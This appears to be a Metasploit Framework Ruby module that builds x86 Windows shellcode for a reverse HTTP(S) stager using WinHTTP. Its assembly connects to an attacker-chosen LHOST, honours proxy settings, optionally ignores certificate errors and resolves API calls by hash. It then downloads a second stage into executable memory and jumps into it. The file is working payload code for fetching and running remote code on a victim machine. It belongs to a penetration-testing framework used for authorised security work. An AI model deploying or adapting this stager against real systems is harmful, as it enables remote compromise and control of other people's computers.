lib/msf/core/payload/windows/reverse_win_http.rb
# -*- coding: binary -*-
module Msf
###
#
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP
#
###
module Payload::Windows::ReverseWinHttp
include Msf::Payload::Windows::ReverseHttp
#
# Register reverse_winhttp specific options
#
def initialize(*args)
super
register_advanced_options([
OptBool.new('HttpProxyIE', 'Enable use of IE proxy settings', default: true, aliases: ['PayloadProxyIE'])
], self.class)
end
#
# Generate the first stage
#
def generate(opts={})
ds = opts[:datastore] || datastore
conf = {
ssl: opts[:ssl] || false,
host: ds['LHOST'] || '127.127.127.127',
port: ds['LPORT']
}
# Add extra options if we have enough space
if self.available_space.nil? || (cached_size && required_space <= self.available_space)
conf[:uri] = luri + generate_uri
conf[:exitfunk] = ds['EXITFUNC']
conf[:verify_cert_hash] = opts[:verify_cert_hash]
conf[:proxy_host] = ds['HttpProxyHost']
conf[:proxy_port] = ds['HttpProxyPort']
conf[:proxy_user] = ds['HttpProxyUser']
conf[:proxy_pass] = ds['HttpProxyPass']
conf[:proxy_type] = ds['HttpProxyType']
conf[:retry_count] = ds['StagerRetryCount']
conf[:proxy_ie] = ds['HttpProxyIE']
conf[:custom_headers] = get_custom_headers(ds)
else
# Otherwise default to small URIs
conf[:uri] = luri + generate_small_uri
end
generate_reverse_winhttp(conf)
end
def transport_config(opts={})
transport_config_reverse_http(opts)
end
#
# Generate and compile the stager
#
def generate_reverse_winhttp(opts={})
combined_asm = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api}
start:
pop ebp
#{asm_reverse_winhttp(opts)}
^
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length (wchars)
space += 512 * 2
# proxy (wchars)
space += 128 * 2
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
space += 31
# Custom headers? Ugh, impossible to tell
space += 512 * 2
# The final estimated size
space
end
#
# Convert a string into a NULL-terminated wchar byte array
#
def asm_generate_wchar_array(str)
(str.to_s + "\x00").
unpack("C*").
pack("v*").
unpack("C*").
map{ |c| "0x%.2x" % c }.
join(",")
end
#
# Generate an assembly stub with the configured feature set and options.
#
# @option opts [Bool] :ssl Whether or not to enable SSL
# @option opts [String] :uri The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Integer] :port The port to connect to
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
#
def asm_reverse_winhttp(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
verify_ssl = nil
encoded_cert_hash = nil
encoded_uri = asm_generate_wchar_array(opts[:uri])
encoded_host = asm_generate_wchar_array(opts[:host])
# this is used by the IE proxy functionality when an autoconfiguration URL
# is specified. We need the full URL otherwise the call to resolve the proxy
# for the URL doesn't work.
full_url = 'http'
full_url << 's' if opts[:ssl]
full_url << '://' << opts[:host]
full_url << ":#{opts[:port]}" if opts[:ssl] && opts[:port] != 443
full_url << ":#{opts[:port]}" if !opts[:ssl] && opts[:port] != 80
full_url << opts[:uri]
encoded_full_url = asm_generate_wchar_array(full_url)
encoded_uri_index = (full_url.length - opts[:uri].length) * 2
if opts[:ssl] && opts[:verify_cert_hash]
verify_ssl = true
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
end
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
proxy_info = ""
if proxy_enabled
if opts[:proxy_type].to_s.downcase == "socks"
proxy_info << "socks="
else
proxy_info << "http://"
end
proxy_info << opts[:proxy_host].to_s
if opts[:proxy_port].to_i > 0
proxy_info << ":#{opts[:proxy_port]}"
end
proxy_info = asm_generate_wchar_array(proxy_info)
end
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])
http_open_flags = 0
secure_flags = 0
if opts[:ssl]
http_open_flags = (
0x00800000 | # WINHTTP_FLAG_SECURE
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
secure_flags = (
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA
else
http_open_flags = (
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
end
ie_proxy_autodect = (
0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP
0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A
ie_proxy_flags = (
0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT
0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL
asm = %Q^
; Input: EBP must be the address of 'api_call'.
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_winhttp:
push 0x00707474 ; Push the string 'winhttp',0
push 0x686E6977 ; ...
push esp ; Push a pointer to the "winhttp" string
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "winhttp" )
^
if verify_ssl
asm << %Q^
load_crypt32:
push 0x00323374 ; Push the string 'crypt32',0
push 0x70797263 ; ...
push esp ; Push a pointer to the "crypt32" string
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "wincrypt" )
^
end
asm << %Q^
xor ebx, ebx
WinHttpOpen:
^
if proxy_enabled
asm << %Q^
push ebx ; Flags
push esp ; ProxyBypass ("")
call get_proxy_server
db #{proxy_info}
get_proxy_server:
; ProxyName (via call)
push 3 ; AccessType (NAMED_PROXY= 3)
push ebx ; UserAgent (NULL) [1]
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}
call ebp
^
else
asm << %Q^
push ebx ; Flags
push ebx ; ProxyBypass (NULL)
push ebx ; ProxyName (NULL)
push ebx ; AccessType (DEFAULT_PROXY= 0)
push ebx ; UserAgent (NULL) [1]
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}
call ebp
^
end
if opts[:proxy_ie] == true && !proxy_enabled
asm << %Q^
push eax ; Session handle is required later for ie proxy
^
end
asm << %Q^
WinHttpConnect:
push ebx ; Reserved (NULL)
push #{opts[:port]} ; Port [3]
call got_server_uri ; Double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in edi for later
^
if opts[:proxy_ie] == true && !proxy_enabled
asm << %Q^
db #{encoded_full_url}
got_server_host:
add edi, #{encoded_uri_index} ; move edi up to where the URI starts
^
else
asm << %Q^
db #{encoded_uri}
got_server_host:
^
end
asm << %Q^
push eax ; Session handle returned by WinHttpOpen
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')}
call ebp
WinHttpOpenRequest:
push 0x#{http_open_flags.to_s(16)}
push ebx ; AcceptTypes (NULL)
push ebx ; Referrer (NULL)
push ebx ; Version (NULL)
push edi ; ObjectName (URI)
push ebx ; Verb (GET method) (NULL)
push eax ; Connect handle returned by WinHttpConnect
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')}
call ebp
xchg esi, eax ; save HttpRequest handler in esi
^
if proxy_enabled && proxy_user
asm << %Q^
push ebx ; pAuthParams (NULL)
^
if proxy_pass
asm << %Q^
call got_proxy_pass ; put proxy_pass on the stack
proxy_pass:
db #{proxy_pass}
got_proxy_pass:
; pwszPassword now on the stack
^
else
asm << %Q^
push ebx ; pwszPassword (NULL)
^
end
asm << %Q^
call got_proxy_user ; put proxy_user on the stack
proxy_user:
db #{proxy_user}
got_proxy_user:
; pwszUserName now on the stack
push 1 ; AuthScheme (WINHTTP_AUTH_SCHEME_BASIC = 1)
push 1 ; AuthTargets (WINHTTP_AUTH_TARGET_PROXY = 1)
push esi ; hRequest
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')}
call ebp
^
elsif opts[:proxy_ie] == true
asm << %Q^
; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is
; a 16-byte structure
sub esp, 16
mov eax, esp ; store a pointer to the buffer
push edi ; store the current URL in case it's needed
mov edi, eax ; put the buffer pointer in edi
push edi ; Push a pointer to the buffer
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')}
call ebp
test eax, eax ; skip the rest of the proxy stuff if the call failed
jz ie_proxy_setup_finish
; we don't care about the "auto detect" flag, as it doesn't seem to
; impact us at all.
; if auto detect isn't on, check if there's an auto configuration URL
mov eax, [edi+4]
test eax, eax
jz ie_proxy_manual
; restore the URL we need to reference
pop edx
sub edx, #{encoded_uri_index} ; move edx up to where the full URL starts
; set up the autoproxy structure on the stack
push 1 ; fAutoLogonIfChallenged (1=TRUE)
push ebx ; dwReserved (0)
push ebx ; lpReserved (NULL)
push eax ; lpszAutoConfigUrl
push #{ie_proxy_autodect} ; dwAutoDetectFlags
push #{ie_proxy_flags} ; dwFlags
mov eax, esp
; prepare space for the resulting proxy info structure
sub esp, 12
mov edi, esp ; store the proxy pointer
; prepare the WinHttpGetProxyForUrl call
push edi ; pProxyInfo
push eax ; pAutoProxyOptions
push edx ; lpcwszUrl
lea eax, [esp+64] ; Find the pointer to the hSession - HACK!
push [eax] ; hSession
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')}
call ebp
test eax, eax ; skip the rest of the proxy stuff if the call failed
jz ie_proxy_setup_finish
jmp set_ie_proxy ; edi points to the filled out proxy structure
ie_proxy_manual:
; check to see if a manual proxy is specified, if not, we skip
mov eax, [edi+8]
test eax, eax
jz ie_proxy_setup_finish
; manual proxy present, set up the proxy info structure by patching the
; existing current user IE structure that is in edi
push 4
pop eax
add edi, eax ; skip over the fAutoDetect flag
dec eax
mov [edi], eax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY)
; fallthrough to set the ie proxy
set_ie_proxy:
; we assume that edi is going to point to the proxy options
push 12 ; dwBufferLength (sizeof proxy options)
push edi ; lpBuffer (pointer to the proxy)
push 38 ; dwOption (WINHTTP_OPTION_PROXY)
push esi ; hRequest
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')}
call ebp
ie_proxy_setup_finish:
^
end
if opts[:ssl]
asm << %Q^
; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) );
set_security_options:
push 0x#{secure_flags.to_s(16)}
mov eax, esp
push 4 ; sizeof(buffer)
push eax ; &buffer
push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')}
call ebp
^
end
asm << %Q^
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
send_request:
WinHttpSendRequest:
push ebx ; Context [7]
push ebx ; TotalLength [6]
push ebx ; OptionalLength (0) [5]
push ebx ; Optional (NULL) [4]
^
if custom_headers
asm << %Q^
push -1 ; dwHeadersLength (assume NULL terminated) [3]
call get_req_headers ; lpszHeaders (pointer to the custom headers) [2]
db #{custom_headers}
get_req_headers:
^
else
asm << %Q^
push ebx ; HeadersLength (0) [3]
push ebx ; Headers (NULL) [2]
^
end
asm << %Q^
push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}
call ebp
test eax,eax
jnz check_response ; if TRUE call WinHttpReceiveResponse API
try_it_again:
dec edi
jnz send_request
; if we didn't allocate before running out of retries, fall through
^
if opts[:exitfunk]
asm << %Q^
failure:
call exitfunk
^
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
^
end
# Jump target if the request was sent successfully
asm << %Q^
check_response:
^
# Verify the SSL certificate hash
if verify_ssl
asm << %Q^
ssl_cert_get_context:
push 4
mov ecx, esp ; Allocate &bufferLength
push 0
mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)
push ecx ; &bufferLength
push ebx ; &buffer
push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)
push esi ; hHttpRequest
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpQueryOption')}
call ebp
test eax, eax ;
jz failure ; Bail out if we couldn't get the certificate context
; ebx
ssl_cert_allocate_hash_space:
push 20 ;
mov ecx, esp ; Store a reference to the address of 20
sub esp,[ecx] ; Allocate 20 bytes for the hash output
mov edi, esp ; edi will point to our buffer
ssl_cert_get_server_hash:
push ecx ; &bufferLength
push edi ; &buffer (20-byte SHA1 hash)
push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)
push [ebx] ; *pCert
push #{Rex::Text.block_api_hash('crypt32.dll', 'CertGetCertificateContextProperty')}
call ebp
test eax, eax ;
jz failure ; Bail out if we couldn't get the certificate context
ssl_cert_start_verify:
call ssl_cert_compare_hashes
db #{encoded_cert_hash}
ssl_cert_compare_hashes:
pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)
; edi points to the server-provided certificate hash
push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times
pop ecx ;
mov edx, ecx ; Keep a reference to 4 in edx
ssl_cert_verify_compare_loop:
mov eax, [ebx] ; Grab the next DWORD of the hash
cmp eax, [edi] ; Compare with the server hash
jnz failure ; Bail out if the DWORD doesn't match
add ebx, edx ; Increment internal hash pointer by 4
add edi, edx ; Increment server hash pointer by 4
loop ssl_cert_verify_compare_loop
; Our certificate hash was valid, hurray!
ssl_cert_verify_cleanup:
xor ebx, ebx ; Reset ebx back to zero
^
end
if defined?(read_stage_size?) && read_stage_size?
asm << %Q^
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handle for WinHttpReadData
push ebx ; Reserved (NULL)
push esi ; Request handler returned by WinHttpSendRequest
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')}
call ebp
test eax,eax
jz failure
allocate_memory:
read_stage_size:
push ebx ; temporary storage for stage size
mov eax, esp ; pointer to 4b buffer for stage size
push ebx ; temporary storage for bytesRead
mov edi, esp ; pointer to 4b buffer for bytesRead
push edi ; &bytesRead
push 4 ; bytes to read
push eax ; &stage size
push esi ; hRequest
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')}
call ebp ; InternetReadFile(hFile, lpBuffer, dwNumberOfBytesToRead, lpdwNumberOfBytesRead)
pop ebx ; bytesRead (unused, pop for cleaning)
pop ebx ; stage size
test eax,eax ; download failed? (optional?)
jz failure
xor eax, eax
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push ebx ; Stage allocation
push eax ; NULL as we dont care where the allocation is
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack (for ret later)
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push eax ; read length
push ebx ; buffer
push esi ; hRequest
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')}
call ebp
test eax,eax ; download failed? (optional?)
jz failure
pop eax ; clear the temporary storage for bytesread
^
else
asm << %Q^
receive_response:
; The API WinHttpReceiveResponse needs to be called
; first to get a valid handle for WinHttpReadData
push ebx ; Reserved (NULL)
push esi ; Request handler returned by WinHttpSendRequest
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')}
call ebp
test eax,eax
jz failure
allocate_memory:
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (4Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; NumberOfBytesRead (bytesRead)
push 8192 ; NumberOfBytesToRead
push ebx ; Buffer
push esi ; Request handler returned by WinHttpReceiveResponse
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')}
call ebp
test eax,eax ; if download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
^
end
asm << %Q^
execute_stage:
ret ; dive into the stored stage address
got_server_uri:
pop edi
call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])
server_host:
db #{encoded_host}
^
if opts[:exitfunk]
asm << asm_exitfunk(opts)
end
asm
end
end
end